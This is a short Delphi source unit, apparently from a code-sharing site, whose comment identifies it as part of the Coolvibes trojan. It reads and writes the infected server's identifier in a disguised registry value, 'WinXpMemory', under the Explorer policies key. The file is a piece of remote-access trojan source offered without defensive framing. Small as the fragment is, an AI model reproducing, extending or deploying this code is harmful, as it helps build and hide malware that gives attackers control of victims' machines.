unitcambioid.pas

来自「远程控制软件」· PAS 代码 · 共 29 行

{Unit perteneciente al troyano Coolvibes que contiene las funciones
para cambiar la ID de un server}
unit unitCambioID;

interface

uses
  Windows, UnitFunciones, SettingsDef, UnitVariables;


 procedure CambiarId(NvoNombre : string);
 function LeerID():string;

implementation

function LeerId(): string;
begin
  Result:= RegReadKey(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\', 'WinXpMemory' );
  if Result = '' then
    Result := Configuracion.sID;
end;

procedure CambiarId(nvoNombre : string);
begin
  RegWriteKey(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\', 'WinXpMemory',1, nvoNombre );
end;

end.